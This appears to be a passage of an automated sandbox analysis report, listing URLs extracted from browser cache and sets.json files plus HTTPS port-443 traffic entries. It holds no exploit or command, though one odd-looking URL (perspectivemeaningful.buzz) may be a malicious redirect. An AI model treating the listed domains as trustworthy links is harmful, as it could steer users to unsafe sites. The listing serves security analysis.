Source: sets.json.1.dr	String found in binary or memory: https://ella.sv
Source: sets.json.1.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.1.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.1.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.1.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.1.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.1.dr	String found in binary or memory: https://finn.no
Source: sets.json.1.dr	String found in binary or memory: https://firstlook.biz
Source: chromecache_99.3.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_99.3.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_87.3.dr	String found in binary or memory: https://fonts.bunny.net/css?display=swap&family=Open
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/hammersmith-one/files/hammersmith-one-latin-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/hammersmith-one/files/hammersmith-one-latin-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/hammersmith-one/files/hammersmith-one-latin-ext-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/hammersmith-one/files/hammersmith-one-latin-ext-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-cyrillic-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-cyrillic-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-cyrillic-ext-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-cyrillic-ext-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-greek-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-greek-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-greek-ext-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-greek-ext-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-hebrew-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-hebrew-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-latin-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-latin-ext-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-latin-ext-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-symbols-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-symbols-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-vietnamese-400-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/open-sans/files/open-sans-vietnamese-400-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-cyrillic-400-italic.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-cyrillic-400-italic.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-latin-400-italic.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-latin-400-italic.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-latin-ext-400-italic.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-latin-ext-400-italic.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-vietnamese-400-italic.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/playfair-display/files/playfair-display-vietnamese-400-italic.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-cyrillic-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-cyrillic-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-cyrillic-ext-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-cyrillic-ext-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-greek-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-greek-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-greek-ext-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-greek-ext-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-latin-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-latin-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-latin-ext-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-latin-ext-300-normal.woff2)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-vietnamese-300-normal.woff)
Source: chromecache_107.3.dr	String found in binary or memory: https://fonts.bunny.net/roboto/files/roboto-vietnamese-300-normal.woff2)
Source: sets.json.1.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.1.dr	String found in binary or memory: https://gettalkdesk.com
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: https://github.com/alexanderdickson/waitForImages
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: sets.json.1.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.1.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.1.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.1.dr	String found in binary or memory: https://grid.id
Source: sets.json.1.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.1.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.1.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.1.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.1.dr	String found in binary or memory: https://hapara.com
Source: sets.json.1.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.1.dr	String found in binary or memory: https://hc1.com
Source: sets.json.1.dr	String found in binary or memory: https://hc1.global
Source: sets.json.1.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.1.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.1.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.1.dr	String found in binary or memory: https://hearty.app
Source: sets.json.1.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.1.dr	String found in binary or memory: https://hearty.me
Source: sets.json.1.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.1.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.1.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.1.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.1.dr	String found in binary or memory: https://hj.rs
Source: sets.json.1.dr	String found in binary or memory: https://hjck.com
Source: sets.json.1.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.1.dr	String found in binary or memory: https://html-load.com
Source: sets.json.1.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.1.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.1.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.1.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.1.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.1.dr	String found in binary or memory: https://img-load.com
Source: sets.json.1.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.1.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.1.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.1.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.1.dr	String found in binary or memory: https://interia.pl
Source: sets.json.1.dr	String found in binary or memory: https://intoday.in
Source: sets.json.1.dr	String found in binary or memory: https://iolam.it
Source: sets.json.1.dr	String found in binary or memory: https://ishares.com
Source: sets.json.1.dr	String found in binary or memory: https://jagran.com
Source: sets.json.1.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.1.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.1.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.1.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.1.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.1.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.1.dr	String found in binary or memory: https://joyreactor.com
Source: chromecache_74.3.dr, chromecache_105.3.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: sets.json.1.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.1.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.1.dr	String found in binary or memory: https://kompas.com
Source: sets.json.1.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.1.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.1.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.1.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.1.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.1.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.1.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.1.dr	String found in binary or memory: https://libero.it
Source: sets.json.1.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.1.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.1.dr	String found in binary or memory: https://livechat.com
Source: sets.json.1.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.1.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.1.dr	String found in binary or memory: https://livemint.com
Source: chromecache_83.3.dr, chromecache_77.3.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_83.3.dr, chromecache_77.3.dr	String found in binary or memory: https://login.windows-ppe.net
Source: sets.json.1.dr	String found in binary or memory: https://max.auto
Source: sets.json.1.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.1.dr	String found in binary or memory: https://meo.pt
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.1.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.1.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.1.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.1.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.1.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.1.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.1.dr	String found in binary or memory: https://money.pl
Source: sets.json.1.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.1.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.1.dr	String found in binary or memory: https://nacion.com
Source: sets.json.1.dr	String found in binary or memory: https://naukri.com
Source: sets.json.1.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.1.dr	String found in binary or memory: https://nien.co
Source: sets.json.1.dr	String found in binary or memory: https://nien.com
Source: sets.json.1.dr	String found in binary or memory: https://nien.org
Source: sets.json.1.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.1.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.1.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.1.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.1.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.1.dr	String found in binary or memory: https://o2.pl
Source: sets.json.1.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.1.dr	String found in binary or memory: https://onet.pl
Source: sets.json.1.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.1.dr	String found in binary or memory: https://p106.net
Source: sets.json.1.dr	String found in binary or memory: https://p24.hu
Source: sets.json.1.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://pdmp-apis.no
Source: chromecache_87.3.dr	String found in binary or memory: https://perspectivemeaningful.buzz/?izpogmut
Source: sets.json.1.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.1.dr	String found in binary or memory: https://player.pl
Source: sets.json.1.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.1.dr	String found in binary or memory: https://poalim.site
Source: sets.json.1.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.1.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.1.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.1.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.1.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.1.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.1.dr	String found in binary or memory: https://radio1.be
Source: sets.json.1.dr	String found in binary or memory: https://radio2.be
Source: sets.json.1.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.1.dr	String found in binary or memory: https://repid.org
Source: sets.json.1.dr	String found in binary or memory: https://reshim.org
Source: sets.json.1.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.1.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.1.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.1.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.1.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.1.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.1.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.1.dr	String found in binary or memory: https://samayam.com
Source: sets.json.1.dr	String found in binary or memory: https://sapo.io
Source: sets.json.1.dr	String found in binary or memory: https://sapo.pt
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: https://services.speedy.bg/officesmap?selectOfficeButtonCaption=
Source: sets.json.1.dr	String found in binary or memory: https://shock.co
Source: sets.json.1.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.1.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.1.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.1.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.1.dr	String found in binary or memory: https://songshare.com
Source: sets.json.1.dr	String found in binary or memory: https://songstats.com
Source: sets.json.1.dr	String found in binary or memory: https://sporza.be
Source: sets.json.1.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.1.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.1.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.1.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.1.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/scripts/common/hit.js?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/scripts/platform.client.min.js?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/styles/platform.client.min.css?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/t/theme25/css/trunk-1024.min.css?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/t/theme25/css/trunk-480.min.css?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/t/theme25/css/trunk-768.min.css?v=1040
Source: chromecache_87.3.dr	String found in binary or memory: https://static.web-repository.com/t/theme25/css/trunk.min.css?v=1040
Source: sets.json.1.dr	String found in binary or memory: https://stripe.com
Source: sets.json.1.dr	String found in binary or memory: https://stripe.network
Source: sets.json.1.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.1.dr	String found in binary or memory: https://supereva.it
Source: sets.json.1.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.1.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.1.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.1.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.1.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.1.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.1.dr	String found in binary or memory: https://text.com
Source: sets.json.1.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.1.dr	String found in binary or memory: https://the42.ie
Source: sets.json.1.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.1.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.1.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.1.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.1.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.1.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.1.dr	String found in binary or memory: https://top.pl
Source: sets.json.1.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.1.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.1.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.1.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.1.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.1.dr	String found in binary or memory: https://tvid.in
Source: sets.json.1.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.1.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.1.dr	String found in binary or memory: https://unotv.com
Source: sets.json.1.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.1.dr	String found in binary or memory: https://vrt.be
Source: sets.json.1.dr	String found in binary or memory: https://vwo.com
Source: sets.json.1.dr	String found in binary or memory: https://welt.de
Source: sets.json.1.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.1.dr	String found in binary or memory: https://wildix.com
Source: sets.json.1.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.1.dr	String found in binary or memory: https://wingify.com
Source: sets.json.1.dr	String found in binary or memory: https://wordle.at
Source: sets.json.1.dr	String found in binary or memory: https://wp.pl
Source: sets.json.1.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.1.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.1.dr	String found in binary or memory: https://ya.ru
Source: sets.json.1.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.1.dr	String found in binary or memory: https://zalo.me
Source: sets.json.1.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.1.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.1.dr	String found in binary or memory: https://zoom.com
Source: sets.json.1.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
